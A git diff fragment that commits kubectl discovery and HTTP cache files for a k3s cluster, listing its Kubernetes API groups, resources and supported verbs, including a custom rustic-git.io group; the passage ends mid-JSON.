b/.kube/cache/discovery/20.219.9.167_6443/k3s.cattle.io/v1/serverresources.json new file mode 100644 index 00000000..c86d49f0 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/k3s.cattle.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"k3s.cattle.io/v1","resources":[{"name":"addons","singularName":"addon","namespaced":true,"group":"k3s.cattle.io","version":"v1","kind":"Addon","verbs":["delete","deletecollection","get","list","patch","create","update","watch"]},{"name":"etcdsnapshotfiles","singularName":"etcdsnapshotfile","namespaced":false,"group":"k3s.cattle.io","version":"v1","kind":"ETCDSnapshotFile","verbs":["delete","deletecollection","get","list","patch","create","update","watch"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/metrics.k8s.io/v1beta1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/metrics.k8s.io/v1beta1/serverresources.json new file mode 100644 index 00000000..4337e8fd --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/metrics.k8s.io/v1beta1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"metrics.k8s.io/v1beta1","resources":[{"name":"nodes","singularName":"","namespaced":false,"kind":"NodeMetrics","verbs":["get","list"]},{"name":"pods","singularName":"","namespaced":true,"kind":"PodMetrics","verbs":["get","list"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/networking.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/networking.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..eed0f4a8 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/networking.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"networking.k8s.io/v1","resources":[{"name":"ingressclasses","singularName":"ingressclass","namespaced":false,"kind":"IngressClass","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"ingresses","singularName":"ingress","namespaced":true,"kind":"Ingress","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ing"]},{"name":"ingresses/status","singularName":"ingress","namespaced":true,"kind":"Ingress","verbs":["get","patch","update"]},{"name":"ipaddresses","singularName":"ipaddress","namespaced":false,"kind":"IPAddress","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ip"]},{"name":"networkpolicies","singularName":"networkpolicy","namespaced":true,"kind":"NetworkPolicy","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["netpol"]},{"name":"servicecidrs","singularName":"servicecidr","namespaced":false,"kind":"ServiceCIDR","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"servicecidrs/status","singularName":"servicecidr","namespaced":false,"kind":"ServiceCIDR","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/node.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/node.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..c26f2795 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/node.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"node.k8s.io/v1","resources":[{"name":"runtimeclasses","singularName":"runtimeclass","namespaced":false,"kind":"RuntimeClass","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/policy/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/policy/v1/serverresources.json new file mode 100644 index 00000000..1b71ba67 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/policy/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"policy/v1","resources":[{"name":"poddisruptionbudgets","singularName":"poddisruptionbudget","namespaced":true,"kind":"PodDisruptionBudget","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["pdb"]},{"name":"poddisruptionbudgets/status","singularName":"poddisruptionbudget","namespaced":true,"kind":"PodDisruptionBudget","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/rbac.authorization.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/rbac.authorization.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..41c9b477 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/rbac.authorization.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"rbac.authorization.k8s.io/v1","resources":[{"name":"clusterrolebindings","singularName":"clusterrolebinding","namespaced":false,"kind":"ClusterRoleBinding","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"clusterroles","singularName":"clusterrole","namespaced":false,"kind":"ClusterRole","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"rolebindings","singularName":"rolebinding","namespaced":true,"kind":"RoleBinding","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"roles","singularName":"role","namespaced":true,"kind":"Role","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/rustic-git.io/v1alpha1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/rustic-git.io/v1alpha1/serverresources.json new file mode 100644 index 00000000..628b3a7a --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/rustic-git.io/v1alpha1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"rustic-git.io/v1alpha1","resources":[{"name":"environments","singularName":"environment","namespaced":false,"group":"rustic-git.io","version":"v1alpha1","kind":"Environment","verbs":["delete","deletecollection","get","list","patch","create","update","watch"],"shortNames":["env"]},{"name":"environments/status","singularName":"environment","namespaced":false,"group":"rustic-git.io","version":"v1alpha1","kind":"Environment","verbs":["get","patch","update"]},{"name":"ownerbindings","singularName":"ownerbinding","namespaced":false,"group":"rustic-git.io","version":"v1alpha1","kind":"OwnerBinding","verbs":["delete","deletecollection","get","list","patch","create","update","watch"],"shortNames":["ob"]},{"name":"ownerbindings/status","singularName":"ownerbinding","namespaced":false,"group":"rustic-git.io","version":"v1alpha1","kind":"OwnerBinding","verbs":["get","patch","update"]},{"name":"volumes","singularName":"volume","namespaced":false,"group":"rustic-git.io","version":"v1alpha1","kind":"Volume","verbs":["delete","deletecollection","get","list","patch","create","update","watch"],"shortNames":["vol"]},{"name":"volumes/status","singularName":"volume","namespaced":false,"group":"rustic-git.io","version":"v1alpha1","kind":"Volume","verbs":["get","patch","update"]},{"name":"workspaces","singularName":"workspace","namespaced":false,"group":"rustic-git.io","version":"v1alpha1","kind":"Workspace","verbs":["delete","deletecollection","get","list","patch","create","update","watch"],"shortNames":["ws"]},{"name":"workspaces/status","singularName":"workspace","namespaced":false,"group":"rustic-git.io","version":"v1alpha1","kind":"Workspace","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/scheduling.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/scheduling.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..e5ddbb06 --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/scheduling.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"scheduling.k8s.io/v1","resources":[{"name":"priorityclasses","singularName":"priorityclass","namespaced":false,"kind":"PriorityClass","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["pc"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/servergroups.json b/.kube/cache/discovery/20.219.9.167_6443/servergroups.json new file mode 100644 index 00000000..6d49ff7d --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/servergroups.json @@ -0,0 +1 @@ +{"kind":"APIGroupList","apiVersion":"v1","groups":[{"name":"","versions":[{"groupVersion":"v1","version":"v1"}],"preferredVersion":{"groupVersion":"v1","version":"v1"}},{"name":"apiregistration.k8s.io","versions":[{"groupVersion":"apiregistration.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"apiregistration.k8s.io/v1","version":"v1"}},{"name":"apps","versions":[{"groupVersion":"apps/v1","version":"v1"}],"preferredVersion":{"groupVersion":"apps/v1","version":"v1"}},{"name":"events.k8s.io","versions":[{"groupVersion":"events.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"events.k8s.io/v1","version":"v1"}},{"name":"authentication.k8s.io","versions":[{"groupVersion":"authentication.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"authentication.k8s.io/v1","version":"v1"}},{"name":"authorization.k8s.io","versions":[{"groupVersion":"authorization.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"authorization.k8s.io/v1","version":"v1"}},{"name":"autoscaling","versions":[{"groupVersion":"autoscaling/v2","version":"v2"},{"groupVersion":"autoscaling/v1","version":"v1"}],"preferredVersion":{"groupVersion":"autoscaling/v2","version":"v2"}},{"name":"batch","versions":[{"groupVersion":"batch/v1","version":"v1"}],"preferredVersion":{"groupVersion":"batch/v1","version":"v1"}},{"name":"certificates.k8s.io","versions":[{"groupVersion":"certificates.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"certificates.k8s.io/v1","version":"v1"}},{"name":"networking.k8s.io","versions":[{"groupVersion":"networking.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"networking.k8s.io/v1","version":"v1"}},{"name":"policy","versions":[{"groupVersion":"policy/v1","version":"v1"}],"preferredVersion":{"groupVersion":"policy/v1","version":"v1"}},{"name":"rbac.authorization.k8s.io","versions":[{"groupVersion":"rbac.authorization.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"rbac.authorization.k8s.io/v1","version":"v1"}},{"name":"storage.k8s.io","versions":[{"groupVersion":"storage.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"storage.k8s.io/v1","version":"v1"}},{"name":"admissionregistration.k8s.io","versions":[{"groupVersion":"admissionregistration.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"admissionregistration.k8s.io/v1","version":"v1"}},{"name":"apiextensions.k8s.io","versions":[{"groupVersion":"apiextensions.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"apiextensions.k8s.io/v1","version":"v1"}},{"name":"scheduling.k8s.io","versions":[{"groupVersion":"scheduling.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"scheduling.k8s.io/v1","version":"v1"}},{"name":"coordination.k8s.io","versions":[{"groupVersion":"coordination.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"coordination.k8s.io/v1","version":"v1"}},{"name":"node.k8s.io","versions":[{"groupVersion":"node.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"node.k8s.io/v1","version":"v1"}},{"name":"discovery.k8s.io","versions":[{"groupVersion":"discovery.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"discovery.k8s.io/v1","version":"v1"}},{"name":"flowcontrol.apiserver.k8s.io","versions":[{"groupVersion":"flowcontrol.apiserver.k8s.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"flowcontrol.apiserver.k8s.io/v1","version":"v1"}},{"name":"helm.cattle.io","versions":[{"groupVersion":"helm.cattle.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"helm.cattle.io/v1","version":"v1"}},{"name":"k3s.cattle.io","versions":[{"groupVersion":"k3s.cattle.io/v1","version":"v1"}],"preferredVersion":{"groupVersion":"k3s.cattle.io/v1","version":"v1"}},{"name":"rustic-git.io","versions":[{"groupVersion":"rustic-git.io/v1alpha1","version":"v1alpha1"}],"preferredVersion":{"groupVersion":"rustic-git.io/v1alpha1","version":"v1alpha1"}},{"name":"metrics.k8s.io","versions":[{"groupVersion":"metrics.k8s.io/v1beta1","version":"v1beta1"}],"preferredVersion":{"groupVersion":"metrics.k8s.io/v1beta1","version":"v1beta1"}}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/storage.k8s.io/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/storage.k8s.io/v1/serverresources.json new file mode 100644 index 00000000..f27eaf0b --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/storage.k8s.io/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"storage.k8s.io/v1","resources":[{"name":"csidrivers","singularName":"csidriver","namespaced":false,"kind":"CSIDriver","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"csinodes","singularName":"csinode","namespaced":false,"kind":"CSINode","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"csistoragecapacities","singularName":"csistoragecapacity","namespaced":true,"kind":"CSIStorageCapacity","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"storageclasses","singularName":"storageclass","namespaced":false,"kind":"StorageClass","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["sc"]},{"name":"volumeattachments","singularName":"volumeattachment","namespaced":false,"kind":"VolumeAttachment","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"volumeattachments/status","singularName":"volumeattachment","namespaced":false,"kind":"VolumeAttachment","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/discovery/20.219.9.167_6443/v1/serverresources.json b/.kube/cache/discovery/20.219.9.167_6443/v1/serverresources.json new file mode 100644 index 00000000..b1d260cd --- /dev/null +++ b/.kube/cache/discovery/20.219.9.167_6443/v1/serverresources.json @@ -0,0 +1 @@ +{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"v1","resources":[{"name":"bindings","singularName":"binding","namespaced":true,"kind":"Binding","verbs":["create"]},{"name":"componentstatuses","singularName":"componentstatus","namespaced":false,"kind":"ComponentStatus","verbs":["get","list"],"shortNames":["cs"]},{"name":"configmaps","singularName":"configmap","namespaced":true,"kind":"ConfigMap","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["cm"]},{"name":"endpoints","singularName":"endpoints","namespaced":true,"kind":"Endpoints","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ep"]},{"name":"events","singularName":"event","namespaced":true,"kind":"Event","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ev"]},{"name":"limitranges","singularName":"limitrange","namespaced":true,"kind":"LimitRange","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["limits"]},{"name":"namespaces","singularName":"namespace","namespaced":false,"kind":"Namespace","verbs":["create","delete","get","list","patch","update","watch"],"shortNames":["ns"]},{"name":"namespaces/finalize","singularName":"namespace","namespaced":false,"kind":"Namespace","verbs":["update"]},{"name":"namespaces/status","singularName":"namespace","namespaced":false,"kind":"Namespace","verbs":["get","patch","update"]},{"name":"nodes","singularName":"node","namespaced":false,"kind":"Node","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["no"]},{"name":"nodes/proxy","singularName":"node","namespaced":false,"kind":"NodeProxyOptions","verbs":["create","delete","get","patch","update"]},{"name":"nodes/status","singularName":"node","namespaced":false,"kind":"Node","verbs":["get","patch","update"]},{"name":"persistentvolumeclaims","singularName":"persistentvolumeclaim","namespaced":true,"kind":"PersistentVolumeClaim","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["pvc"]},{"name":"persistentvolumeclaims/status","singularName":"persistentvolumeclaim","namespaced":true,"kind":"PersistentVolumeClaim","verbs":["get","patch","update"]},{"name":"persistentvolumes","singularName":"persistentvolume","namespaced":false,"kind":"PersistentVolume","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["pv"]},{"name":"persistentvolumes/status","singularName":"persistentvolume","namespaced":false,"kind":"PersistentVolume","verbs":["get","patch","update"]},{"name":"pods","singularName":"pod","namespaced":true,"kind":"Pod","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["po"],"categories":["all"]},{"name":"pods/attach","singularName":"pod","namespaced":true,"kind":"PodAttachOptions","verbs":["create","get"]},{"name":"pods/binding","singularName":"pod","namespaced":true,"kind":"Binding","verbs":["create"]},{"name":"pods/ephemeralcontainers","singularName":"pod","namespaced":true,"kind":"Pod","verbs":["get","patch","update"]},{"name":"pods/eviction","singularName":"pod","namespaced":true,"group":"policy","version":"v1","kind":"Eviction","verbs":["create"]},{"name":"pods/exec","singularName":"pod","namespaced":true,"kind":"PodExecOptions","verbs":["create","get"]},{"name":"pods/log","singularName":"pod","namespaced":true,"kind":"Pod","verbs":["get"]},{"name":"pods/portforward","singularName":"pod","namespaced":true,"kind":"PodPortForwardOptions","verbs":["create","get"]},{"name":"pods/proxy","singularName":"pod","namespaced":true,"kind":"PodProxyOptions","verbs":["create","delete","get","patch","update"]},{"name":"pods/resize","singularName":"pod","namespaced":true,"kind":"Pod","verbs":["get","patch","update"]},{"name":"pods/status","singularName":"pod","namespaced":true,"kind":"Pod","verbs":["get","patch","update"]},{"name":"podtemplates","singularName":"podtemplate","namespaced":true,"kind":"PodTemplate","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"replicationcontrollers","singularName":"replicationcontroller","namespaced":true,"kind":"ReplicationController","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["rc"],"categories":["all"]},{"name":"replicationcontrollers/scale","singularName":"replicationcontroller","namespaced":true,"group":"autoscaling","version":"v1","kind":"Scale","verbs":["get","patch","update"]},{"name":"replicationcontrollers/status","singularName":"replicationcontroller","namespaced":true,"kind":"ReplicationController","verbs":["get","patch","update"]},{"name":"resourcequotas","singularName":"resourcequota","namespaced":true,"kind":"ResourceQuota","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["quota"]},{"name":"resourcequotas/status","singularName":"resourcequota","namespaced":true,"kind":"ResourceQuota","verbs":["get","patch","update"]},{"name":"secrets","singularName":"secret","namespaced":true,"kind":"Secret","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"name":"serviceaccounts","singularName":"serviceaccount","namespaced":true,"kind":"ServiceAccount","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["sa"]},{"name":"serviceaccounts/token","singularName":"serviceaccount","namespaced":true,"group":"authentication.k8s.io","version":"v1","kind":"TokenRequest","verbs":["create"]},{"name":"services","singularName":"service","namespaced":true,"kind":"Service","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["svc"],"categories":["all"]},{"name":"services/proxy","singularName":"service","namespaced":true,"kind":"ServiceProxyOptions","verbs":["create","delete","get","patch","update"]},{"name":"services/status","singularName":"service","namespaced":true,"kind":"Service","verbs":["get","patch","update"]}]} diff --git a/.kube/cache/http/3cf1965c44af595c0be94ca971fa4c374bd99be9c8a5fde94b98441ad8d831cf b/.kube/cache/http/3cf1965c44af595c0be94ca971fa4c374bd99be9c8a5fde94b98441ad8d831cf new file mode 100644 index 00000000..c081ff50 --- /dev/null +++ b/.kube/cache/http/3cf1965c44af595c0be94ca971fa4c374bd99be9c8a5fde94b98441ad8d831cf @@ -0,0 +1,13 @@ +k-psK1#>M}OӲHTTP/2.0 200 OK +Connection: close +Audit-Id: 40ab5056-f8c6-47f8-9d53-cf355ee11ced +Cache-Control: public +Content-Type: application/json;g=apidiscovery.k8s.io;v=v2;as=APIGroupDiscoveryList +Date: Wed, 26 Aug 2026 11:12:46 GMT +Etag: "B71838287F84440751EF3E5744A7306A573352C87E530D4A937F4A2BCBB23B71C20457F1B57490979D43B5FBD3071512F6607C7FED9E4AC951494FE8201B8C95" +Vary: Accept +X-Kubernetes-Pf-Flowschema-Uid: bed666ff-5fc8-44f7-aa7f-51ba8dd57d5d +X-Kubernetes-Pf-Prioritylevel-Uid: 2998c172-0a43-4f9b-b326-5b2196f9015f +X-Varied-Accept: application/json;g=apidiscovery.k8s.io;v=v2;as=APIGroupDiscoveryList,application/json;g=apidiscovery.k8s.io;v=v2beta1;as=APIGroupDiscoveryList,application/json + +{"kind":"APIGroupDiscoveryList","apiVersion":"apidiscovery.k8s.io/v2","metadata":{},"items":[{"metadata":{"creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"bindings","responseKind":{"group":"","version":"","kind":"Binding"},"scope":"Namespaced","singularResource":"binding","verbs":["create"]},{"resource":"componentstatuses","responseKind":{"group":"","version":"","kind":"ComponentStatus"},"scope":"Cluster","singularResource":"componentstatus","verbs":["get","list"],"shortNames":["cs"]},{"resource":"configmaps","responseKind":{"group":"","version":"","kind":"ConfigMap"},"scope":"Namespaced","singularResource":"configmap","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["cm"]},{"resource":"endpoints","responseKind":{"group":"","version":"","kind":"Endpoints"},"scope":"Namespaced","singularResource":"endpoints","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ep"]},{"resource":"events","responseKind":{"group":"","version":"","kind":"Event"},"scope":"Namespaced","singularResource":"event","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ev"]},{"resource":"limitranges","responseKind":{"group":"","version":"","kind":"LimitRange"},"scope":"Namespaced","singularResource":"limitrange","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["limits"]},{"resource":"namespaces","responseKind":{"group":"","version":"","kind":"Namespace"},"scope":"Cluster","singularResource":"namespace","verbs":["create","delete","get","list","patch","update","watch"],"shortNames":["ns"],"subresources":[{"subresource":"finalize","responseKind":{"group":"","version":"","kind":"Namespace"},"verbs":["update"]},{"subresource":"status","responseKind":{"group":"","version":"","kind":"Namespace"},"verbs":["get","patch","update"]}]},{"resource":"nodes","responseKind":{"group":"","version":"","kind":"Node"},"scope":"Cluster","singularResource":"node","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["no"],"subresources":[{"subresource":"proxy","responseKind":{"group":"","version":"","kind":"NodeProxyOptions"},"verbs":["create","delete","get","patch","update"]},{"subresource":"status","responseKind":{"group":"","version":"","kind":"Node"},"verbs":["get","patch","update"]}]},{"resource":"persistentvolumeclaims","responseKind":{"group":"","version":"","kind":"PersistentVolumeClaim"},"scope":"Namespaced","singularResource":"persistentvolumeclaim","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["pvc"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"PersistentVolumeClaim"},"verbs":["get","patch","update"]}]},{"resource":"persistentvolumes","responseKind":{"group":"","version":"","kind":"PersistentVolume"},"scope":"Cluster","singularResource":"persistentvolume","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["pv"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"PersistentVolume"},"verbs":["get","patch","update"]}]},{"resource":"pods","responseKind":{"group":"","version":"","kind":"Pod"},"scope":"Namespaced","singularResource":"pod","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["po"],"categories":["all"],"subresources":[{"subresource":"attach","responseKind":{"group":"","version":"","kind":"PodAttachOptions"},"verbs":["create","get"]},{"subresource":"binding","responseKind":{"group":"","version":"","kind":"Binding"},"verbs":["create"]},{"subresource":"ephemeralcontainers","responseKind":{"group":"","version":"","kind":"Pod"},"verbs":["get","patch","update"]},{"subresource":"eviction","responseKind":{"group":"policy","version":"v1","kind":"Eviction"},"verbs":["create"]},{"subresource":"exec","responseKind":{"group":"","version":"","kind":"PodExecOptions"},"verbs":["create","get"]},{"subresource":"log","responseKind":{"group":"","version":"","kind":"Pod"},"verbs":["get"]},{"subresource":"portforward","responseKind":{"group":"","version":"","kind":"PodPortForwardOptions"},"verbs":["create","get"]},{"subresource":"proxy","responseKind":{"group":"","version":"","kind":"PodProxyOptions"},"verbs":["create","delete","get","patch","update"]},{"subresource":"resize","responseKind":{"group":"","version":"","kind":"Pod"},"verbs":["get","patch","update"]},{"subresource":"status","responseKind":{"group":"","version":"","kind":"Pod"},"verbs":["get","patch","update"]}]},{"resource":"podtemplates","responseKind":{"group":"","version":"","kind":"PodTemplate"},"scope":"Namespaced","singularResource":"podtemplate","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"resource":"replicationcontrollers","responseKind":{"group":"","version":"","kind":"ReplicationController"},"scope":"Namespaced","singularResource":"replicationcontroller","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["rc"],"categories":["all"],"subresources":[{"subresource":"scale","responseKind":{"group":"autoscaling","version":"v1","kind":"Scale"},"verbs":["get","patch","update"]},{"subresource":"status","responseKind":{"group":"","version":"","kind":"ReplicationController"},"verbs":["get","patch","update"]}]},{"resource":"resourcequotas","responseKind":{"group":"","version":"","kind":"ResourceQuota"},"scope":"Namespaced","singularResource":"resourcequota","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["quota"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"ResourceQuota"},"verbs":["get","patch","update"]}]},{"resource":"secrets","responseKind":{"group":"","version":"","kind":"Secret"},"scope":"Namespaced","singularResource":"secret","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"resource":"serviceaccounts","responseKind":{"group":"","version":"","kind":"ServiceAccount"},"scope":"Namespaced","singularResource":"serviceaccount","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["sa"],"subresources":[{"subresource":"token","responseKind":{"group":"authentication.k8s.io","version":"v1","kind":"TokenRequest"},"verbs":["create"]}]},{"resource":"services","responseKind":{"group":"","version":"","kind":"Service"},"scope":"Namespaced","singularResource":"service","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["svc"],"categories":["all"],"subresources":[{"subresource":"proxy","responseKind":{"group":"","version":"","kind":"ServiceProxyOptions"},"verbs":["create","delete","get","patch","update"]},{"subresource":"status","responseKind":{"group":"","version":"","kind":"Service"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]}]} diff --git a/.kube/cache/http/9dab79775acec0f14a647afb3b68bd059cf11f9cb753ddc5ac9f4eba8b1409b9 b/.kube/cache/http/9dab79775acec0f14a647afb3b68bd059cf11f9cb753ddc5ac9f4eba8b1409b9 new file mode 100644 index 00000000..f57d6e25 --- /dev/null +++ b/.kube/cache/http/9dab79775acec0f14a647afb3b68bd059cf11f9cb753ddc5ac9f4eba8b1409b9 @@ -0,0 +1,13 @@ +DR_{].-,twx8eȡXHTTP/2.0 200 OK +Connection: close +Audit-Id: ee7d03ed-ebef-4046-9164-0029062a28ec +Cache-Control: public +Content-Type: application/json;g=apidiscovery.k8s.io;v=v2;as=APIGroupDiscoveryList +Date: Wed, 26 Aug 2026 11:12:46 GMT +Etag: "393B307CB9F6A693C61487DBDE0BB03BEE926A54F4691FCAE2DC2B45CA5BEAE8BC2839A4F842AE1B95E39CFC0EC9BB078C3EDD5B726938334C54CB9D08FD8719" +Vary: Accept +X-Kubernetes-Pf-Flowschema-Uid: bed666ff-5fc8-44f7-aa7f-51ba8dd57d5d +X-Kubernetes-Pf-Prioritylevel-Uid: 2998c172-0a43-4f9b-b326-5b2196f9015f +X-Varied-Accept: application/json;g=apidiscovery.k8s.io;v=v2;as=APIGroupDiscoveryList,application/json;g=apidiscovery.k8s.io;v=v2beta1;as=APIGroupDiscoveryList,application/json + +{"kind":"APIGroupDiscoveryList","apiVersion":"apidiscovery.k8s.io/v2","metadata":{},"items":[{"metadata":{"name":"apiregistration.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"apiservices","responseKind":{"group":"","version":"","kind":"APIService"},"scope":"Cluster","singularResource":"apiservice","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["api-extensions"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"APIService"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]},{"metadata":{"name":"apps","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"controllerrevisions","responseKind":{"group":"","version":"","kind":"ControllerRevision"},"scope":"Namespaced","singularResource":"controllerrevision","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"resource":"daemonsets","responseKind":{"group":"","version":"","kind":"DaemonSet"},"scope":"Namespaced","singularResource":"daemonset","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ds"],"categories":["all"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"DaemonSet"},"verbs":["get","patch","update"]}]},{"resource":"deployments","responseKind":{"group":"","version":"","kind":"Deployment"},"scope":"Namespaced","singularResource":"deployment","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["deploy"],"categories":["all"],"subresources":[{"subresource":"scale","responseKind":{"group":"autoscaling","version":"v1","kind":"Scale"},"verbs":["get","patch","update"]},{"subresource":"status","responseKind":{"group":"","version":"","kind":"Deployment"},"verbs":["get","patch","update"]}]},{"resource":"replicasets","responseKind":{"group":"","version":"","kind":"ReplicaSet"},"scope":"Namespaced","singularResource":"replicaset","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["rs"],"categories":["all"],"subresources":[{"subresource":"scale","responseKind":{"group":"autoscaling","version":"v1","kind":"Scale"},"verbs":["get","patch","update"]},{"subresource":"status","responseKind":{"group":"","version":"","kind":"ReplicaSet"},"verbs":["get","patch","update"]}]},{"resource":"statefulsets","responseKind":{"group":"","version":"","kind":"StatefulSet"},"scope":"Namespaced","singularResource":"statefulset","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["sts"],"categories":["all"],"subresources":[{"subresource":"scale","responseKind":{"group":"autoscaling","version":"v1","kind":"Scale"},"verbs":["get","patch","update"]},{"subresource":"status","responseKind":{"group":"","version":"","kind":"StatefulSet"},"verbs":["get","patch","update"]}]}],"freshness"